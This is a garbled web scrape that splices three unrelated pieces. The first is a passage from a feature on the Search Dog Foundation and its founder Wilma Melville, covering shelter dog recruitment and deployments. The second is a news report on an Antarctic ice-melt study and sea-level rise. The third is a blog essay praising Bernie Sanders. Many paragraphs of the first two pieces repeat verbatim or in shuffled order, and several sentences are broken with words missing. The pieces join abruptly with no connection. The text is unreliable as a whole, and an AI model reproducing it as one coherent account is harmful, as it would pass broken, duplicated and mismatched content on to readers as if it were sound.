and difficult circumstances by people who are genuinely heroic, very few people — within the field or without — are willing to challenge orthodoxies or second-guess past operations. That's where people like Melville, "the Irish pit bull," as they sometimes call her around the SDF offices, become a necessity. Like a high-drive search dog too fixated on finding a victim to pay any attention to the 30-foot crater she'll have to cross on a steeply pitched ladder to get there, Melville's been too focused on improving the SAR dog field to give much of a damn if she offends a few people's delicate sensibilities along the way. "We often joke that our mom is like a force of nature," says Harry Hirschman, one of Melville's four sons. "Unrelenting, determined, a lot of perseverance. Anybody who's coming up against the way business has always been done, they run into those kinds of things. She was a soccer coach without much of any experience with soccer, and she took a high schools girls' team to two city championships," at a time, it might be added, when the very act of coaching a women's athletic team was considered rebellious. "She learned to fly," Hirschman continues, "built her own plane, did these endurance horse races. Very direct, straightforward, and whatever resistance she's found she just ignores or moves past it." Before Murphy, the dog Melville brought to Oklahoma City, she had trained a German shepherd named Topa. "I worked at it with Topa for four or five years and made about as many mistakes as there are to make, because I was being trained by people who didn't know a hell of a lot," says Melville. One trainer all but strangled poor Topa, dragging her around on a choke collar. Other trainers were far better, but Melville and her dog just weren't learning as quickly as the retired teacher (you can tell she was a total badass in the classroom and ball fields, like Meryl Streep in, only with a whistle and sneakers instead of a nun's habit) thought they should be. "The rescue group I trained with only drilled once a month as a group," she says. "How can anybody learn anything once a month?" After years of setbacks working with Topa, Melville started hearing stories about a trainer named Pluis Davern, a longtime rescue and show-dog trainer and handler who ran Sundowner Kennels in Gilroy, just south of the Bay area. Davern was about the best trainer around, everyone agreed, but too far away to help Melville and Topa. "They were thinking,Well I do, that's who!" says Melville. "And I didn't think it was anything. I'd spent five years on this, and this was the first time I found out that there was a professional, someone who actually knew how to do this, and could teach me! If she'd been on the East Coast I would've picked up and moved there for a month, six months, whatever it took." Melville began trekking up to Davern's kennel in Gilroy and making big improvements with Topa, but at some point Davern suggested that Melville start over with a new dog. Topa had been through a lot of bad training, some of which could be undone, but other problems were never going to go away. The most essential trait for a working dog is what trainers call "drive," a catchall term that combines energy, ambition, and focus. Trainers sometimes talk about wanting "crackhead" or "junkie" dogs with an obsessive addiction to toys and tug-of-war. It's said half in jest, but the analogy is about right. In the case of a good SAR dog, only the most dedicated tug-of-war fiends will scale steep ladders, climb over dangerous debris, and work their noses sore for hours on end just for a chance at that toy. Topa just didn't have it in her, so Melville retired her to a house pet's life of leisure. With Davern's help, she found a female black Lab that she named Murphy and went to work training her. "By less than 2 [years old], Murphy and I were FEMA certified in the advanced level," says Melville. "And I said, 'Well, I'll be damned, this is the way to do it! You need to have exact qualities, you can't just take any dog.'" Beyond drive, Melville also saw what an improvement a full-time, professional trainer made over the hodgepodge methods of scattered sheriffs' departments and dog trainers who handled most SAR training. Years of fruitless work could be condensed into about eight or nine months of work between a professional trainer and a driven dog. What you didn't need, Melville realized, was the dog's future handler. It was Melville's eureka moment, and the philosophical basis for the foundation. To that point, SAR handlers trained their own dogs, sometimes with great success, but far more often, without it. It's a bit like if Nascar drivers had to build and maintain their own car before they ever got a chance to drive one on the track. You might find a few brilliant mechanic-driver renaissance men, but plenty of great drivers and great mechanics would never make it to the big-time. "It's no wonder people are dropping out left and right, working three years and dropping out in disgust," Melville says. With Davern finding and training the dogs, Melville could find and train the handlers, and then they could pair dogs and handlers up and train them together for a couple of intensive weeks. It would be world's first SAR assembly line, capable of producing a far greater number of competent dog teams than the old way of relying on self-motivated individuals to find and train their own dogs. "If you can teach people to play tennis, field hockey, softball, or drive a car," Melville says, "then you can teach people to work with a dog,that dog is already trained. That's the key: You just need to teach them to work withdog. A blind person works for 30 days in a facility with a dog and then they go home. And they're getting on buses, on subways in New York City, crossing streets. That dog is responsible for that person's life, and it's all done in 30 days. Why can't we do it?" The irony for Melville was that she would be looking for handlers who were pretty much the opposite of herself. "I thought, why do we accept everybody that says, 'Oh, I think it'd be fun to train a rescue dog and go on deployments?' There isn't a single bit of fun in a disaster deployment. I said, 'Why would a woman in her early sixties with a highly trained dog make any sense to anyone?'" A firefighter or EMT with no dog experience couldn't be expected to train a dog from scratch on his own free time, but with a driven dog already trained by Davern, he wouldn't have to. He'd just have to keep working and drilling with the dog, just as firefighters are constantly training and drilling anyway. Pairing the animals with firefighters would also eliminate another problem: the way that the civilian dog handlers were perceived and treated in the field. "I remember going to one deployment and being excited because FEMA was supposed to have all these search and rescue operations," says retired FDNY Chief and collapse expert Vincent Dunn. "Then we had the meeting and it was just dogs. Dogs are great, don't get me wrong, but we were skeptical. And you know firefighters, they don't want competition — these cute dogs were going to get all the attention while we did all the work." "Some civilian handlers are outstanding because they take it on as their life," says Melville. "But how many people have jobs that let them deploy for 10 days? How many have an understanding of what it takes to really work at a disaster site for 12 hours a day, day after day, and then have families that understand that? If you have a wife and a family, they have to be willing to let you go for that long and have their own support networks at home for dealing with it." Despite SDF's perpetual impoverishment, the speed that Davern could train animals and Melville could match them with handlers meant that a significant percentage of new FEMA dogs were coming from the foundation, and that ruffled some feathers. Some old-school FEMA dog handlers considered it a point of pride that they were self-made civilian trainers and thought you had to pay your dues before you could handle a dog. And now these greenhorn firefighters and EMTs were coming in and taking their place. "Bringing somebody new in and giving them a trained dog, that created some resentment," says Sonja Heritage, who joined the SAR world after watching the Oklahoma City aftermath on television at her bartending job in Maryland. She's now one of the most experienced dog handlers in the country, with deployments to the World Trade Center, Haiti, Turkey, Taiwan, Nairobi, and a number of other disaster sites. Last year she moved to California to take over as the foundation's head trainer, so they could begin training dogs at the SDF's new campus, instead of at Davern's kennels in the Bay area. "It's a small, very homegrown industry, and Wilma and Pluis got a lot of backlash from that. When I worked as a judge for FEMA certification, you absolutely saw judges who were harder on handlers with dogs from the foundation. All I was ever interested in was training more dogs and training them well, and that's exactly what Wilma and Pluis were doing." For any field to prosper, it needs some form of self-criticism to keep it balanced and constantly improving. That's particularly difficult in the SAR world for two reasons. First, because large-scale disasters are (relatively) rare, there aren't many trials from which to learn from your errors. Second, because the work is done under such tragic and difficult circumstances by people who are genuinely heroic, very few people — within the field or without — are willing to challenge orthodoxies or second-guess past operations. That's where people like Melville, "the Irish pit bull," as they sometimes call her around the SDF offices, become a necessity. Like a high-drive search dog too fixated on finding a victim to pay any attention to the 30-foot crater she'll have to cross on a steeply pitched ladder to get there, Melville's been too focused on improving the SAR dog field to give much of a damn if she offends a few people's delicate sensibilities along the way. "We often joke that our mom is like a force of nature," says Harry Hirschman, one of Melville's four sons. "Unrelenting, determined, a lot of perseverance. Anybody who's coming up against the way business has always been done, they run into those kinds of things. She was a soccer coach without much of any experience with soccer, and she took a high schools girls' team to two city championships," at a time, it might be added, when the very act of coaching a women's athletic team was considered rebellious. "She learned to fly," Hirschman continues, "built her own plane, did these endurance horse races. Very direct, straightforward, and whatever resistance she's found she just ignores or moves past it."
Search Dog Foundation Wilma and Murphy
Soon after Melville started the foundation in 1996, Debra Tosch, a local bookkeeper who'd done some wilderness dog training, saw a story about the SDF in the paper and began volunteering at the office. "I had a very similar path to Wilma," says Tosch, who later became the first paid employee of the foundation and is now its executive director. "When I started it was just because I'd met somebody who told me, 'Hey, you have a German shepherd, you should do search and rescue.' When they signed me up to train with the sheriff's search and rescue team, nobody even tested the dogs or checked to see if they had the right instincts." Tosch and Melville organized small-bore fundraisers — selling watermelon slices in strip-mall parking lots, running one-day obedience classes for house pets. Every time Tosch and Melville got $5,000 in the bank, they would recruit and start training a new dog at Davern's Sundowner Kennels, and line up another volunteer handler, usually a firefighter from the area. (Today, the SDF estimates that it costs more like $15,000–$20,000 to fully train each dog.) Tosch started training her own dog for urban search and rescue, paying for it out-of-pocket. And Melville cut plenty of her own checks as well, realizing at one point when she did her taxes that she'd racked up $44,000 in personal donations to the foundation. The one problem with the sped-up training techniques was just how many dogs they were going through. Only a tiny percentage of dogs have the right "crackhead drive" and physical and mental makeup to be a SAR dog. The drive is largely genetic, and a pair of driven dogs do have a better chance of producing driven pups, but good breeding is no guarantee — a couple of Michael Jordan's kids played college ball, but they didn't make the NBA. Melville knew that to seriously increase the number of FEMA-certified dog teams, she needed to come up with a better way of recruiting dogs. Buying puppies from good working-dog lines was expensive and time-consuming. The purebred dogs themselves were pricey, and you had to raise that dog for nearly a year before you knew for sure if it was suited to the job and could begin training it in earnest. Sometimes that worked out fine, as with Melville's second dog, Murphy. But like with her first dog, Topa, it often didn't. Fortunately, Melville and her recruiters knew a place with more natural talent than an All-State basketball tournament: the pound. Soon after Melville started the foundation in 1996, Debra Tosch, a local bookkeeper who'd done some wilderness dog training, saw a story about the SDF in the paper and began volunteering at the office. "I had a very similar path to Wilma," says Tosch, who later became the first paid employee of the foundation and is now its executive director. "When I started it was just because I'd met somebody who told me, 'Hey, you have a German shepherd, you should do search and rescue.' When they signed me up to train with the sheriff's search and rescue team, nobody even tested the dogs or checked to see if they had the right instincts." Tosch and Melville organized small-bore fundraisers — selling watermelon slices in strip-mall parking lots, running one-day obedience classes for house pets. Every time Tosch and Melville got $5,000 in the bank, they would recruit and start training a new dog at Davern's Sundowner Kennels, and line up another volunteer handler, usually a firefighter from the area. (Today, the SDF estimates that it costs more like $15,000–$20,000 to fully train each dog.) Tosch started training her own dog for urban search and rescue, paying for it out-of-pocket. And Melville cut plenty of her own checks as well, realizing at one point when she did her taxes that she'd racked up $44,000 in personal donations to the foundation. The one problem with the sped-up training techniques was just how many dogs they were going through. Only a tiny percentage of dogs have the right "crackhead drive" and physical and mental makeup to be a SAR dog. The drive is largely genetic, and a pair of driven dogs do have a better chance of producing driven pups, but good breeding is no guarantee — a couple of Michael Jordan's kids played college ball, but they didn't make the NBA. Melville knew that to seriously increase the number of FEMA-certified dog teams, she needed to come up with a better way of recruiting dogs. Buying puppies from good working-dog lines was expensive and time-consuming. The purebred dogs themselves were pricey, and you had to raise that dog for nearly a year before you knew for sure if it was suited to the job and could begin training it in earnest. Sometimes that worked out fine, as with Melville's second dog, Murphy. But like with her first dog, Topa, it often didn't. Fortunately, Melville and her recruiters knew a place with more natural talent than an All-State basketball tournament: the pound.
"These are dogs that need something to do," says the SDF's lead recruiter, Heidi Miller. We're walking through a maze of kennels at the Ventura County Animal Shelter in Camarillo, California, looking for SAR candidates. "They're super intense, full of energy. That can be too much for people, so they bring them here." Miller crisscrosses the state, testing hundreds of dogs each year, and adopting only about 10% of them. She's been working with various dog adoption agencies and training groups for 20 years, and has an extensive network of friends and colleagues at shelters and kennels around California and the country. One perk of this is getting tips about potential recruits. If they're in California, she'll drive to the shelter to check out the animal herself. Otherwise, she'll give specific tests for shelter workers to run, and they'll take videos of the exercises and post them on YouTube for Miller and Heritage to check out. The vast majority of the dogs here in Camarillo are either yappy little Chihuahuas or abandoned fighting dogs — pit bulls mostly, with their ears clipped short, necks discolored from tight choke-collars, and their faces scabbed and scarred. They don't seem particularly aggressive — winning dogs don't generally get abandoned. They're sad, with bashful, downcast eyes. Some rough-looking dudes are walking around the kennel near us, and seem only interested in these pits, teasing and testing them. Miller shakes her head. "At private kennels, they can decide not to give dogs to certain people. Maybe it's a dog that wouldn't work well because the people have a family, or live in a small place. And maybe," says Miller, "because of what they might want the dog for." Unfortunately, this is a public shelter. Miller carries a large duffel bag filled with assorted toys for testing the dogs, and about which she apologizes profusely. "One dog gets it in his head to pee on the bag, and then every other dog needs to do it," she says with a laugh. Selection starts with the breed of animal. The SDF focuses on Labrador and golden retrievers, border collies, and German shepherds (or animals with some mix of those breeds). Terriers have the nose for the job, but they're too small to climb over rubble. Pit bulls and Dobermans have the right size and sniffers, but people's wariness of them and the possibility that teams could be dispatched to cities and towns with "aggressive" dog laws that ban the breeds is enough reason not to recruit them. When Miller spots a Lab or shepherd, she swings a rope toy and watches the dogs' reactions. Even dogs that are mildly distracted, turning away from the toy to look at other dogs in nearby kennels, probably won't make for good rescue workers. "Focus, that's what we need," says Miller. "And barking! Barking is always a good thing. But kennel behavior isn't always normal behavior for a dog. I've had dogs that were skittish, or aggressive in the kennel, but as soon as you take them outside and test them, they're fine." We come across a good-looking German shepherd female named Anja who's in the appropriate 9- to 24-month age range — old enough to train and young enough to have a long working career. She seems sufficiently bark-y and focused on the swinging toy, but does bare her teeth and growl a little when Miller approaches the cage. Aggressiveness won't do, but a quick conversation with the shelter director and a volunteer who's been working with Anja reveal her to be perfectly pleasant under normal circumstances. Miller takes the dog out to a fenced-in play yard and opens up her bag of tricks. She starts by New Yorker reporter last year that "the country is almost out of Labs for detection work ... And they don't have any in Europe, either." That might be true for Labs coming from fancy dog breeders. Yet every year the SDF finds a bevy of qualified dogs, most of them Labradors, in shelters throughout the country. "These are dogs that need something to do," says the SDF's lead recruiter, Heidi Miller. We're walking through a maze of kennels at the Ventura County Animal Shelter in Camarillo, California, looking for SAR candidates. "They're super intense, full of energy. That can be too much for people, so they bring them here." Miller crisscrosses the state, testing hundreds of dogs each year, and adopting only about 10% of them. She's been working with various dog adoption agencies and training groups for 20 years, and has an extensive network of friends and colleagues at shelters and kennels around California and the country. One perk of this is getting tips about potential recruits. If they're in California, she'll drive to the shelter to check out the animal herself. Otherwise, she'll give specific tests for shelter workers to run, and they'll take videos of the exercises and post them on YouTube for Miller and Heritage to check out. The vast majority of the dogs here in Camarillo are either yappy little Chihuahuas or abandoned fighting dogs — pit bulls mostly, with their ears clipped short, necks discolored from tight choke-collars, and their faces scabbed and scarred. They don't seem particularly aggressive — winning dogs don't generally get abandoned. They're sad, with bashful, downcast eyes. Some rough-looking dudes are walking around the kennel near us, and seem only interested in these pits, teasing and testing them. Miller shakes her head. "At private kennels, they can decide not to give dogs to certain people. Maybe it's a dog that wouldn't work well because the people have a family, or live in a small place. And maybe," says Miller, "because of what they might want the dog for." Unfortunately, this is a public shelter. Miller carries a large duffel bag filled with assorted toys for testing the dogs, and about which she apologizes profusely. "One dog gets it in his head to pee on the bag, and then every other dog needs to do it," she says with a laugh. Selection starts with the breed of animal. The SDF focuses on Labrador and golden retrievers, border collies, and German shepherds (or animals with some mix of those breeds). Terriers have the nose for the job, but they're too small to climb over rubble. Pit bulls and Dobermans have the right size and sniffers, but people's wariness of them and the possibility that teams could be dispatched to cities and towns with "aggressive" dog laws that ban the breeds is enough reason not to recruit them. When Miller spots a Lab or shepherd, she swings a rope toy and watches the dogs' reactions. Even dogs that are mildly distracted, turning away from the toy to look at other dogs in nearby kennels, probably won't make for good rescue workers. "Focus, that's what we need," says Miller. "And barking! Barking is always a good thing. But kennel behavior isn't always normal behavior for a dog. I've had dogs that were skittish, or aggressive in the kennel, but as soon as you take them outside and test them, they're fine." We come across a good-looking German shepherd female named Anja who's in the appropriate 9- to 24-month age range — old enough to train and young enough to have a long working career. She seems sufficiently bark-y and focused on the swinging toy, but does bare her teeth and growl a little when Miller approaches the cage. Aggressiveness won't do, but a quick conversation with the shelter director and a volunteer who's been working with Anja reveal her to be perfectly pleasant under normal circumstances. Miller takes the dog out to a fenced-in play yard and opens up her bag of tricks. She starts by swinging a tennis ball on a rope , then tossing it to see if Anja will fetch. The dog is clearly thrilled to be running around outside and getting some attention (perhaps a little too thrilled — she catches Miller's hand with her teeth at one point as she jumps to catch the swinging toy). Anja chases after the ball toy excitedly, showing some promising possessiveness. But that's the easy part of the test. Next we go out to a parking lot with a few distractions (people, a stinky trash can), and Miller throws the toy up onto a grassy embankment on top of a waist-high cement wall. Ideally, Anja will be so fixated on the toy that she won't think twice about jumping on top of the wall and scouring the tall grass for it. Good SAR dogs are literally fearless, insofar as they don't even conceive of the danger around them while focused. After that, the tests would get tougher for Anja, with Miller tossing the toy into the grass and holding the dog for longer and longer periods, up to a minute, before letting her hunt after it. Miller might stash the toy under the trash bin and see how distracted she is by all the interesting scents, or spin Anja around a couple of times to disorient the dog before releasing her. But Anja is hesitant about the short leap onto the embankment, even when a shelter volunteer she's familiar with climbs up and shows her the toy. In dog trainer parlance, Anja has play drive, but not enough hunt drive. She eventually goes up, but only after a lengthy period of cajoling and encouragement. It's an understandable response — perhaps she came from a strict home where she wasn't allowed up on furniture or on an outside deck, or maybe she's just nervous about new places — just as it's understandable for a 10-year-old kid playing shortstop to duck and cover when a hard line drive is smacked his way. But that kid's probably never going to make the big leagues, and the SDF is only looking for pros. The foundation guarantees that all the dogs it adopts will end up in a home, even if they don't graduate to become SAR dogs. Anja never made it to the adoption stage, but Miller often uses her connections to find working-dog programs that a recruit might be better suited for (like guide-dog school for the less driven), breed-specific adoption programs with higher adoption rates than pounds, and "no kill" shelters that will take animals from the public pounds that euthanize animals by the millions each year. About a month after we met Anja, Miller was in the process of placing her with one of these groups when a family with the right kind of home environment adopted her from the Ventura County shelter. Now, according to conventional wisdom, none of this diamond-in-the-rough recruiting should really be possible. People spend thousands of dollars on specially bred working dogs. One dog broker told areporter last year that "the country is almost out of Labs for detection work ... And they don't have any in Europe, either." That might be true for Labs coming from fancy dog breeders. Yet every year the SDF finds a bevy of qualified dogs, most of them Labradors, in shelters throughout the country.
Search Dog Foundation An SDF dog at Ground Zero, 2001.
Everything in the SAR dog world changed on Sept. 11, 2001. Of the nearly 100 dog teams that searched Ground Zero, 13 of them were trained by the SDF, almost as many FEMA-certified teams as there had been in the entire country during the Oklahoma City search. Melville and the foundation weren't the only people who had learned from Oklahoma City, of course. What the SDF was able to do, though, was take the accumulated wisdom of those talented people scattered around the country and turn their insights into standard operating procedures for finding the best dogs and training them. Despite the exponential growth in the number of FEMA-certified teams between Oklahoma City and Sept. 11, the World Trade Center search effort made the need for an even greater number of trained dog teams all the more apparent — and the SDF's method for creating them all the more necessary. The attention of 9/11 also meant a lot more funding for the SDF. Search dogs were a popular feel-good story amidst all the tragedy, and there was no better story than the little gray-haired lady who was rescuing pups and making heroes out of them. Soon, the SDF was sitting on a million dollars in donations but not many ideas about what to do with it all. Melville had some big, ambitious ideas about what the field really needed — a single, centralized training center that could serve the entire country, even world — but a million dollars wouldn't cover that. So the foundation's board hired a consultant who recommended putting half the money into the bank and using the other half to create a professional fundraising operation that could — over many years, he cautioned — raise the rest of the funds to build a National Training Center. The need for that center has become all the more apparent in recent weeks, with the Boston Marathon bombing (which thankfully did not require any search dogs) and the explosion of the same type of ammonium nitrate fertilizer that Timothy McVeigh used in Oklahoma City at the fertilizer plant in West, Texas. That explosion did require dogs, and fortunately two new SDF teams were located nearby and able to respond in hours. Tucker, the gawky goofball with the legs of a racehorse, and his handler, Keri Grant of the McKinney, Texas, Fire Department, searched more than 50 buildings in the wee hours of the night. Hayden, the Lab with scars on his jaws from being muzzled with a wire, cleared an entire floor of the devastated apartment complex and numerous other buildings, some of which his handler, Mike Hargrove of Texas Task Force 2, couldn't get to because of the conditions. Everything in the SAR dog world changed on Sept. 11, 2001. Of the nearly 100 dog teams that searched Ground Zero, 13 of them were trained by the SDF, almost as many FEMA-certified teams as there had been in the entire country during the Oklahoma City search. Melville and the foundation weren't the only people who had learned from Oklahoma City, of course. What the SDF was able to do, though, was take the accumulated wisdom of those talented people scattered around the country and turn their insights into standard operating procedures for finding the best dogs and training them. Despite the exponential growth in the number of FEMA-certified teams between Oklahoma City and Sept. 11, the World Trade Center search effort made the need for an even greater number of trained dog teams all the more apparent — and the SDF's method for creating them all the more necessary. The attention of 9/11 also meant a lot more funding for the SDF. Search dogs were a popular feel-good story amidst all the tragedy, and there was no better story than the little gray-haired lady who was rescuing pups and making heroes out of them. Soon, the SDF was sitting on a million dollars in donations but not many ideas about what to do with it all. Melville had some big, ambitious ideas about what the field really needed — a single, centralized training center that could serve the entire country, even world — but a million dollars wouldn't cover that. So the foundation's board hired a consultant who recommended putting half the money into the bank and using the other half to create a professional fundraising operation that could — over many years, he cautioned — raise the rest of the funds to build a National Training Center. The need for that center has become all the more apparent in recent weeks, with the Boston Marathon bombing (which thankfully did not require any search dogs) and the explosion of the same type of ammonium nitrate fertilizer that Timothy McVeigh used in Oklahoma City at the fertilizer plant in West, Texas. That explosion did require dogs, and fortunately two new SDF teams were located nearby and able to respond in hours. Tucker, the gawky goofball with the legs of a racehorse, and his handler, Keri Grant of the McKinney, Texas, Fire Department, searched more than 50 buildings in the wee hours of the night. Hayden, the Lab with scars on his jaws from being muzzled with a wire, cleared an entire floor of the devastated apartment complex and numerous other buildings, some of which his handler, Mike Hargrove of Texas Task Force 2, couldn't get to because of the conditions.
LM Otero / AP Hayden and trainer Mike Hargrove walk through the blast zone at a fertilizer plant in West, Texas, April 18, 2013.
"This could spell disaster for many low-lying cities. For example, Boston could see more than 1.5 meters [about 5 feet] of sea-level rise in the next 100 years," said University of Massachusetts Climatologist Robert DeConto, a study co-author, in a statement . "But the good news is that an aggressive reduction in emissions will limit the risk of major Antarctic ice sheet retreat."
The scenario is even more dire when combined with what we already know. The newly-identified increase from melting Antarctic ice would add to other climate change effects that the Intergovernmental Panel on Climate Change has predicted are on track to hiking sea levels by between 20 and 39 inches by 2100.
To put that into context, such an amount of extra ocean water would have put Hurricane Sandy's maximum flood height at the tip of Manhattan in 2012 at more than 17 feet, while parts of Hurricane Katrina's surge along in New Orleans in 2005 would have been taller than 23 feet.
Sea levels could rise an additional 39 inches by the end of the century — almost doubling previous estimates of the total potential increases in sea levels — due to the melting of Antarctic ice from climate change, according to a new study .
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Sea levels could rise an additional 39 inches by the end of the century — almost doubling previous estimates of the total potential increases in sea levels — due to the melting of Antarctic ice from climate change, according to a new study.
To put that into context, such an amount of extra ocean water would have put Hurricane Sandy's maximum flood height at the tip of Manhattan in 2012 at more than 17 feet, while parts of Hurricane Katrina's surge along in New Orleans in 2005 would have been taller than 23 feet.
The scenario is even more dire when combined with what we already know. The newly-identified increase from melting Antarctic ice would add to other climate change effects that the Intergovernmental Panel on Climate Change has predicted are on track to hiking sea levels by between 20 and 39 inches by 2100.
"This could spell disaster for many low-lying cities. For example, Boston could see more than 1.5 meters [about 5 feet] of sea-level rise in the next 100 years," said University of Massachusetts Climatologist Robert DeConto, a study co-author, in a statement. "But the good news is that an aggressive reduction in emissions will limit the risk of major Antarctic ice sheet retreat."
Published on Wednesday in the journal Nature, the study is yet another reminder that massive stretches of the world's coastlines, where most of humankind lives and works, will be inundated unless people erect costly defenses or curb carbon emissions substantially — though both are likely necessary.
"All the big airports from here to Boston are built on land near the water," said Larry Atkinson, an oceanographer at Old Dominion University in Norfolk, Virginia, a seaside city that's among the most vulnerable in the United States to higher sea levels. "It takes 50 years to move an airport. We should start thinking now."
Related: We're Changing the Climate at an 'Unprecedented' Rate
The rising waters won't stop either. If greenhouse gas emissions continue unabated at current levels, the study predicts disappearing ice will add an additional 49 feet to sea levels by 2500.
The rapid increase in sea levels stems from warm ocean water melting the Antarctic ice sheets from the bottom up, the study said. The sheets then break off from their glaciers, hastening the melting process as they drift into warmer waters.
Anthony Carpi, an environmental scientist and dean of research at John Jay College in New York City, pointed out the Antarctic contains 90 percent of the world's fresh water — and the alarming results of the study show how previous sea level forecasts haven't adequately taken temperature trends in the South Pole into account.
"This is relatively unexpected," Carpi said. "We have models that predict sea level change in response to climate change, but most of them assume that ice sheets on both the continents of Antarctica and Greenland were relatively stable and wouldn't melt significantly. [The study] throws into the mix some pretty major melting of those sheets."
Both Atkinson and Carpi warn governments are moving too slowly to adequately deal with the issue.
New York State, for instance, has spent billions on recovering from Hurricane Sandy, and a number of ambitious plans have been floated to blunt future storms, including a seawall around Manhattan, and artificial reefs and oyster beds to protect Brooklyn.
Officials in the Norfolk area — home to the world's biggest naval base — are already thinking ahead, too. "There's a band of high land [in Norfolk]," said Atkinson. "If you are going to build a new hospital complex or high school, you are going to build it on that arc."
President Barack Obama agreed to carbon emission cuts at the United Nations Climate Change Conference in Paris last year with the goal of limiting global warming to less than 2 degrees Celsius compared to pre-industrial levels. He's also signed executive orders that compel federal agencies to take climate change into consideration when constructing new facilities.
But Atkinson says politicians in Washington have not given combating climate change or effects like a rising ocean sufficient emphasis. "The risk is so far out," he said. "It's just hard for people. People have anxiety buckets. They are already full. They don't want to throw this into them too."
Follow John Dyer on Twitter: @johnjdyerjr
What I am about to write is going to resonate with some of us and others of us will scoff and resist at some of the concepts contained within. Life has given me a lot to think about – and be thankful about – and admittedly, I am on a bit of a cosmic tear. But I hope that this essay is read with the same spirit within which it was written, and what that “spirit” is, I will leave for you to decide, but just know that this essay is decidedly very “spiritual.”
Bernie Sanders is waking people up to their own political power. He is not empowering us, but rather he is helping us to remember that as individuals, and as expressions of a higher, collective consciousness, we have the power to make change, and to make a difference. He is using the political platform for his message, but his message crosses all of our collective belief constructs and speaks to the very nature of our humanity.
He is waking us up to the fact that, politically and by extension, across all aspects of our lives, we do not have to accept lesser evillism any longer, that just because something is the status quo, does not mean it has to remain so. The status quo is what it is – until it’s not. And the only way to change it is to simply change it.
He is reminding all of us that we have the power to change our society, that we have the power to change the way elections are run, and he is waking us up to the fact that we have the power to reclaim the democratic process and take it out of the hands of money and put it back where it belongs: political power and democracy belongs to We The People. It does not belong to money.
Only We The People have the power to change things, but because of our entrenched belief systems, we believe we can not. Instead of realizing that each moment is a separate moment containing infinite potential, we believe that each moment is simply a linear extension of the one that came before it, and therefore, at worst, nothing will ever change, nothing can ever change even if it could, we are told that any change must be gradual. It must be incremental, we must be willing to compromise what we know to be true and right if we really want to change. But I call BS on that notion. If nothing changes, it is because we believe that it can’t change, not because change, itself, is not possible.
Baby elephant in chains
When people who capture young elephants to use as labor or to sell as circus entertainment, the elephant’s spirit must first be broken, or it will refuse to submit to human whim. Because elephants are capable of self-awareness, they are also capable of forming belief systems. In order to break an elephant’s spirit, it is bound by chains from an early age. As the elephant matures in captivity, the “trainers,” the people who are breaking the elephant’s spirit, can demonstrate the completeness of an elephant’s submission by keeping it chained by a string. Even though an adult elephant is perfectly capable of breaking the string, it believes it cannot. But once in a while, an elephant will revolt and fight back, and that elephant is deemed to be in a dangerous “must,” or perhaps it’s gone mad, or gone rogue and then it is usually destroyed. That’s what happens to a circus elephant who wakes up and refuses to submit, it goes on what we call a “rampage,” it becomes dangerous to humans, so it is destroyed. Anyone who has read Orwell’s “Shooting an Elephant” knows of what I speak.
Friends, we have become the elephant. We are literally enslaved by our capitalist belief system. Everything thing we do revolves around the getting of money and the spending of the money. We believe that without money, we cannot live, that we cannot exist, and yet … what if all the money in the world disappeared tomorrow? Would we stop existing? Would food and shelter vanish? Would knowledge vanish? Would we disappear? We are perfectly capable of existing without money and yet we are somehow completely enslaved by it. It defines our very existence. Time is money, money is time. The time you spend not in the service of making money, you are in the service of spending it.
Adult elephant bound by a string
If you are eating, you had to spend money to buy food, unless you are lucky enough to be situated in such a way that you can grow your own food. Most of us don’t have that luxury and the production of food has been allowed to fall in the hands of concentrated big business, or what we call here at DailyKos, Big-Ag. Like Monsanto. Giant corporations control our food supply, and we simply have, by collective agreement, allowed it to happen but now we have a large swathe of humanity dependent upon corporations for food, the very same people who genetically modify our food and refuse to allow GMO labelling, the very people, for example, that contribute to political candidates so they can gain access and that’s why lobbyists, whose first interest is their corporate masters, are allowed to write legislation governing the laws about the quality of our food. In short, many of us are forced to eat shit by large corporations and the politicians they pay for.
If you are watching TV in the evening, you are spending money on electricity to power the TV, and you are spending money on broadband to stream video content, you are spending money paying for Netflix, or cable or Hulu. You are sitting within walls that define space that you “own” or rather, space that you are making monthly payments to a bank in exchange for a piece of paper that says you own it, but if you don’t make your payments, the bank owns it. And that is exactly what happened when Wall Street tanked our economy. The banks foreclosed on a bunch of homes and sells them to investment consortiums who rent it back to us at inflated prices and that’s why such a large chunk of what we earn goes toward housing. It’s an unregulated market run by banks, by Wall Street, and they are allowed to perpetuate it by buying access to politicians so that they can help write legislation that allows the bank to continue this practice. Much of Clinton’s money, as you know comes from Wall Street.
We can’t escape money, even though it is just a belief, or so we have been programmed. We have been programmed to believe that the candidate who gets the most money is going to win because money rules our lives, and our very existence cannot exist without the making and spending of money.
What Bernie Sanders is telling is is that we don’t need money to WIN. That we can exist, and we can WIN, without having to beg billionaires for money. The only thing the billionaires are spending money on is access to the politicians they are buying with their money. And what Bernie is telling us, by not accepting the money of big corporations like Monsanto, the Koch Brothers, Wall Street, Big-Pharma and the Insurance Racket, and the Military Industrial Complex, we have the power to exist without those constructs. We don’t have to accept corporate rule if we agree not to. We don’t have to accept a candidate who is funded by corporations who pay her so that they continue to own our food supply, to own our shelter, to own the very things that exist in great abundance but that many are denied due to lack of access to … money.
One thing that struck me about Sanders when I was reading the recent interview in Rolling Stone Magazine, is that he gets this, he gets that we are one, that humanity is part of a greater construct, a part of the Divine Matrix, or God Consciousness, the very fabric against which our particles are arranged to create the reality in which exist, our shared reality. I am a part of you, you are a part of me, we are not individuals existing in a million individual realities, we are all expressions of a single, greater consciousness. We are one with each other, one with God and one with the Universe.
When Bernie Sanders was asked in the recent Rolling Stone interview if he believed in God, here is what he replied:
Do you believe in God?
Yeah, I do. I do. I'm not into organized religion. But I believe that what impacts you impacts me, that we are all united in one way or another. When children go hungry, I get impacted. When kids die because they can't afford medicine, I get impacted. We are one world and one people. And that belief leads me to the conclusion that we just cannot turn our back on human suffering.
I agree with Bernie, we are at tipping point, as a species. Our Sixth Extinction Event, otherwise known as the Holocene Extinction Event, is in full swing, right now, as I type. We have to come together as a species if we want to continue to exist, because the way we exist now, is simply not sustainable.
When we have a belief system that allows some of us to gorge on unimaginable wealth while others of us are denied the basic elements of survival, we simply cannot continue. And Bernie understands that, we are one world and one people. We are all expressions of a greater singular, all-encompassing consciousness and once we realize that, we will be capable of making the kind of shift in awareness that allows to bring about change. Because if we don’t make changes, we will cease to exist as a species.
